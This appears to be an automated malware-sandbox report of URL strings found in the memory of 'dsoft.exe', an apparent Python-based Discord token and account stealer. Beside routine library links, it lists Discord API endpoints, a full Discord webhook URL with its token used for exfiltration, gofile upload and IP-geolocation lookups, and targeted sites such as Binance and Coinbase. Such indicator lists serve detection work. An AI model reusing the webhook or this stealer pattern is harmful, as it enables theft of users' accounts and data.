            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570023169.0000029489854000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.rfc-editor.org/info/rfc7253
            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2602623874.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2450722331.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.tarsnap.com/scrypt/scrypt-slides.pdf
            Source: dsoft.exe, 00000001.00000003.2553744877.000002948964C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.00000294896AA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.0000029489689000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547689005.000002948964A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192181460.000001FA5CCDF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wwwsearch.sf.net/):
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://aliexpress.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://aliexpress.com)z&
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://amazon.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://amazon.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://api.gofile.io/getServer
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.gofile.io/getServerr
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://binance.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://binance.com)z
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://blog.jaraco.com/skeleton
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568096593.0000029489080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://bugs.python.org/issue44497.
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://cdn.discordapp.com/avatars/
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.discordapp.com/avatars/rt
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://codecov.io/gh/pypa/setuptools
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://coinbase.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://coinbase.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://crunchyroll.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crunchyroll.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discord.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/users/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v6/guilds/
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v6/guilds/r
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v6/users/
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v9/users/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.com/channels/803025117553754132/815945031150993468
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discord.gg/
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.gg/r
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discord.gift/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://discordapp.com/api/v6/users/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://disney.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://disney.com)z$
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548897228.0000029488294000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546117734.0000029488C7D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540224185.0000029488293000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545529426.0000029488294000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539909753.0000029488247000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686089490.000001FA5C2BC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192239761.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705327987.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685660711.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/pprint.html
            Source: dsoft.exe, 0000000E.00000003.2686089490.000001FA5C2BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/pprint.html#pprin
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548897228.0000029488294000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546117734.0000029488C7D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540224185.0000029488293000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545529426.0000029488294000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539909753.0000029488247000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686089490.000001FA5C2BC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192239761.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705327987.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685660711.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/pprint.html#pprint.pprint
            Source: dsoft.exe, 00000001.00000003.2010117969.0000029488B32000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568339086.0000029489280000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542106734.000002948855A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192239761.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2707457912.000001FA5C8E0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/re.html
            Source: dsoft.exe, 00000001.00000003.2012706454.0000029488D30000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2012706454.0000029488CF1000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488AF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488B32000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567821197.0000029488F60000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/re.html#re.sub
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://ebay.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ebay.com)z$
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://epicgames.com)
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://expressvpn.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://expressvpn.com)z
            Source: dsoft.exe, 00000001.00000002.2568617414.0000029489480000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://geolocation-db.com/jsonp/
            Source: dsoft.exe, 00000001.00000002.2571777281.000002948A640000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://geolocation-db.com/jsonp/8.46.123.189
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geolocation-db.com/jsonp/z
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com)z
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551023834.0000029488D52000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D44000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538502923.0000029488D43000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548120060.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549984820.0000029488D4F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Ousret/charset_normalizer
            Source: dsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562652028.00000294861C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2556855822.0000029486189000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562326330.0000029486191000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542181367.00000294861C2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559071670.000002948618F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
            Source: dsoft.exe, 00000000.00000003.1997172891.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1991278699.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1984920843.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1996740060.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1995076039.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1991995778.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1996740060.00000177161F4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1995076039.00000177161F5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000000.00000003.1995267328.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168703723.000001463F1F7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168910308.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168802143.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166448280.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166184216.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168703723.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2168910308.000001463F1F7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2169044397.000001463F1EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2158724693.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/mhammond/pywin32
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/psf/black
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md
            Source: dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/packaging
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/packagingP
            Source: dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/packagingn_py
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/actions?query=workflow%3A%22tests%22
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/discussions
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/issues
            Source: dsoft.exe, 00000001.00000002.2567821197.0000029488F60000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/issues/1024.
            Source: dsoft.exe, 00000001.00000002.2565697167.0000029488620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pypa/setuptools/workflows/tests/badge.svg
            Source: dsoft.exe, 0000000E.00000003.2682720383.000001FA5C2C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/pyparsing/pyparsing/wiki
            Source: dsoft.exe, 00000001.00000002.2563065395.0000029487DC0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
            Source: dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
            Source: dsoft.exe, 00000001.00000003.2556855822.0000029486189000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562326330.0000029486191000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559071670.000002948618F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/r
            Source: dsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562652028.00000294861C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542181367.00000294861C2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
            Source: dsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562652028.00000294861C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2556855822.0000029486189000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562326330.0000029486191000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542181367.00000294861C2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559071670.000002948618F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
            Source: dsoft.exe, 00000001.00000002.2568617414.0000029489480000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
            Source: dsoft.exe, 00000001.00000003.2537777125.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538414293.0000029488BA1000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545860552.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535580170.0000029489668000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555647774.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548181855.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543261606.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
